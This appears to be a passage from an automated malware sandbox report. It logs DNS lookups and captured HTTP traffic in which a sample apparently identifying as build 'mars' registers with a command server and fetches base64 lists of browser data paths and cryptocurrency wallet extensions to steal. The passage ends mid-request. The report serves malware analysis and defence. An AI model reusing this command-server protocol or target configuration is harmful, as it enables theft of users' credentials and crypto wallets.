Nov 25, 2024 07:53:25.246555090 CET	1.1.1.1	192.168.2.6	0x1754	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 07:53:32.409640074 CET	1.1.1.1	192.168.2.6	0x8bea	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:32.409740925 CET	1.1.1.1	192.168.2.6	0xf902	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:32.409740925 CET	1.1.1.1	192.168.2.6	0xf902	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:37.543263912 CET	1.1.1.1	192.168.2.6	0x1d75	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:37.543346882 CET	1.1.1.1	192.168.2.6	0xb35	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:37.637797117 CET	1.1.1.1	192.168.2.6	0xe5fb	No error (0)	b-0005.b-dc-msedge.net		13.107.9.158	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:37.879370928 CET	1.1.1.1	192.168.2.6	0x79d8	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:37.879370928 CET	1.1.1.1	192.168.2.6	0x79d8	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:37.891345978 CET	1.1.1.1	192.168.2.6	0x270	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:40.238528967 CET	1.1.1.1	192.168.2.6	0xc3c3	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:40.240345955 CET	1.1.1.1	192.168.2.6	0xd9bc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:40.966291904 CET	1.1.1.1	192.168.2.6	0x9b94	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:40.966291904 CET	1.1.1.1	192.168.2.6	0x9b94	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:40.980528116 CET	1.1.1.1	192.168.2.6	0x230c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:42.015424967 CET	1.1.1.1	192.168.2.6	0x2efa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.015424967 CET	1.1.1.1	192.168.2.6	0x2efa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.015918016 CET	1.1.1.1	192.168.2.6	0x3101	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 07:53:42.016093016 CET	1.1.1.1	192.168.2.6	0x61c4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.016093016 CET	1.1.1.1	192.168.2.6	0x61c4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.017214060 CET	1.1.1.1	192.168.2.6	0xf8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 07:53:42.027400017 CET	1.1.1.1	192.168.2.6	0xc3d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.027400017 CET	1.1.1.1	192.168.2.6	0xc3d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.028609991 CET	1.1.1.1	192.168.2.6	0x9ee9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 07:53:42.810282946 CET	1.1.1.1	192.168.2.6	0x6cc3	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.810282946 CET	1.1.1.1	192.168.2.6	0x6cc3	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.810282946 CET	1.1.1.1	192.168.2.6	0x6cc3	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.810282946 CET	1.1.1.1	192.168.2.6	0x6cc3	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.820960045 CET	1.1.1.1	192.168.2.6	0xb303	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:42.821482897 CET	1.1.1.1	192.168.2.6	0x9a60	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:42.948436975 CET	1.1.1.1	192.168.2.6	0xae50	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:43.018127918 CET	1.1.1.1	192.168.2.6	0x94a2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:43.091558933 CET	1.1.1.1	192.168.2.6	0x1dd9	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:53:43.093183994 CET	1.1.1.1	192.168.2.6	0xc615	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:54:40.449703932 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:54:40.449703932 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:54:42.100122929 CET	1.1.1.1	192.168.2.6	0xa9ca	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:54:42.101052999 CET	1.1.1.1	192.168.2.6	0x3639	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 07:55:03.341917992 CET	1.1.1.1	192.168.2.6	0xed0b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 07:55:03.349199057 CET	1.1.1.1	192.168.2.6	0x188e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:55:03.349199057 CET	1.1.1.1	192.168.2.6	0x188e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:55:20.977490902 CET	1.1.1.1	192.168.2.6	0x24df	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49722	185.215.113.206	80	4364	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:53:16.256706953 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 07:53:17.595822096 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:17.601701975 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 31 31 44 37 43 38 32 38 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="hwid"8411D7C828473625698399------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="build"mars------GHCAAAAKJJDAKECBGIJE--
Nov 25, 2024 07:53:18.057948112 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 32 51 35 4e 54 63 31 4d 32 4d 7a 4d 6a 6b 32 4f 54 52 69 4d 57 55 79 4e 6d 56 6b 5a 54 41 77 4d 7a 6b 30 4e 6d 45 35 59 6a 59 30 4d 6d 5a 69 4e 47 51 34 59 54 4e 68 59 6a 59 79 4e 7a 49 30 4f 54 41 7a 4e 6a 45 78 5a 47 51 7a 4d 47 55 31 4e 6a 52 68 5a 54 51 34 4f 57 59 31 4f 44 51 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: M2Q5NTc1M2MzMjk2OTRiMWUyNmVkZTAwMzk0NmE5YjY0MmZiNGQ4YTNhYjYyNzI0OTAzNjExZGQzMGU1NjRhZTQ4OWY1ODQwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 25, 2024 07:53:18.386905909 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHCGIIDGDAKFIEBKFCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 43 47 49 49 44 47 44 41 4b 46 49 45 42 4b 46 43 46 2d 2d 0d 0a Data Ascii: ------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------CGHCGIIDGDAKFIEBKFCFContent-Disposition: form-data; name="message"browsers------CGHCGIIDGDAKFIEBKFCF--
Nov 25, 2024 07:53:18.830707073 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 25, 2024 07:53:18.830800056 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 25, 2024 07:53:18.832583904 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="message"plugins------IECGIEBAEBFIIECBGCBG--
Nov 25, 2024 07:53:19.276371002 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 25, 2024 07:53:19.276407957 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 25, 2024 07:53:19.276427031 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 25, 2024 07:53:19.276530981 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 25, 2024 07:53:19.276549101 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 25, 2024 07:53:19.276566982 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 25, 2024 07:53:19.278739929 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d 0a Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; 